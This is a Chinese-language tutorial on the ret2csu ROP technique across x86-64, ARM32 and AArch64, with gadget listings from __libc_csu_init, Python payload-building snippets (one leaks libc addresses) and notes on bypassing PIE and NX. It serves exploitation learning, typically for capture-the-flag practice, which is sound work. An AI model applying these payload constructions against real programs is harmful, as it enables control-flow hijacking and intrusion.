x86&arm架构下的ret2csu
字数 1328 2025-08-20 18:17:00
x86与ARM架构下的ret2csu技术详解
1. x86架构下的ret2csu技术
1.1 基本原理
ret2csu技术利用了__libc_csu_init函数中的gadget来控制参数寄存器,主要解决x86-64架构下缺少直接控制rdx等寄存器的gadget的问题。
1.2 关键gadget分析
__libc_csu_init函数包含两部分关键代码:
第一部分 (pop部分 - 0x4012AA):
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
第二部分 (mov/call部分 - 0x401290):
mov rdx, r14
mov rsi, r13
mov edi, r12d
call qword ptr [r15+rbx*8]
add rbx, 1
cmp rbp, rbx
jnz short loc_401290
1.3 利用流程
-
通过pop部分设置寄存器值:
- rbx = 0
- rbp = 1 (确保rbx+1 == rbp)
- r12 = edi (第1个参数)
- r13 = rsi (第2个参数)
- r14 = rdx (第3个参数)
- r15 = 函数地址
-
跳转到mov/call部分执行函数调用
-
注意需要添加8字节填充(rsp+8)和56字节填充(7个pop)
1.4 示例利用代码
def ret_csu(r12, r13, r14, r15, last):
payload = offset * 'a'
payload += p64(first_csu) + 'a' * 8 # gadgets1地址
payload += p64(0) + p64(1) # rbx=0, rbp=1
payload += p64(r12) # call调用的地址
payload += p64(r13) + p64(r14) + p64(r15) # 三个参数寄存器
payload += p64(second_csu) # gadgets2地址
payload += 'a' * 56 # pop出的padding
payload += p64(last) # 函数最后的返回地址
return payload
1.5 为什么32位不适用
32位x86架构使用栈传参而非寄存器传参,且__libc_csu_init函数中没有提供控制栈参数的gadget。
2. ARM架构下的ret2csu技术
2.1 ARM基础
寄存器与传参方式
- 32位ARM: r0(第1参数), r1(第2), r2(第3), r3(第4), 超过4个使用栈传参
- 关键指令:
- LDR: 内存加载到寄存器
- STR: 寄存器存储到内存
- B/BL/BLX/BX: 跳转指令
环境配置
- 静态链接32位ARM:
qemu-arm ./程序名 - 动态链接32位ARM:
qemu-arm -L /usr/arm-linux-gnueabihf/ ./程序名 - 调试:
qemu-arm -g 1234 -L /usr/arm-linux-gnueabi/ ./程序名
2.2 ARM32 ret2csu利用
关键gadget示例
0x00010500 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000104e0 : mov r2, sb ; mov r1, r8 ; mov r0, r7 ; ldr r3, [r5], #4 ; add r4, r4, #1 ; blx r3
利用流程
-
通过pop gadget设置寄存器:
- r7 = r0 (第1参数)
- r8 = r1 (第2参数)
- sb = r2 (第3参数)
- r5 = 函数地址
-
跳转到mov/blx部分执行函数调用
2.3 示例利用代码
r4_r10_pc = 0x00010500 # pop gadget
again = 0x000104e0 # mov/call gadget
# 第一次调用: leak libc
payload = flat([b'a'*12, r4_r10_pc, 0, write, 1, 1, read, 4, b'a'*4, pc])
payload += flat([0, read, 1, 0, bss, 0x10, b'a'*4, again])
payload += flat([b'a'*4]*7, ret_addr)
3. AArch64架构下的ret2csu
3.1 关键区别
- 使用x29(FP)和x30(LR)寄存器控制执行流
- 栈结构更复杂,包含多个区域:
- incoming/outgoing stack arguments
- callee-saved registers区域
- local variables区域
3.2 利用要点
- 控制x29(FP)和x30(LR)寄存器
- 利用函数prologue/epilogue中的栈操作gadget
- 注意栈区域分配方向:
- 参数区域: 低地址→高地址
- 局部变量: 高地址→低地址
4. 防御与绕过
4.1 常见防御
- 栈保护(Stack Canary)
- PIE(位置无关执行)
- RELRO(重定位只读)
4.2 绕过方法
- 利用信息泄露绕过PIE
- 通过ret2csu构造ROP链绕过NX
- 多次利用控制执行流
5. 参考资源
- ARM官方文档
- AAPCS64调用约定
- 相关安全研究论文和博客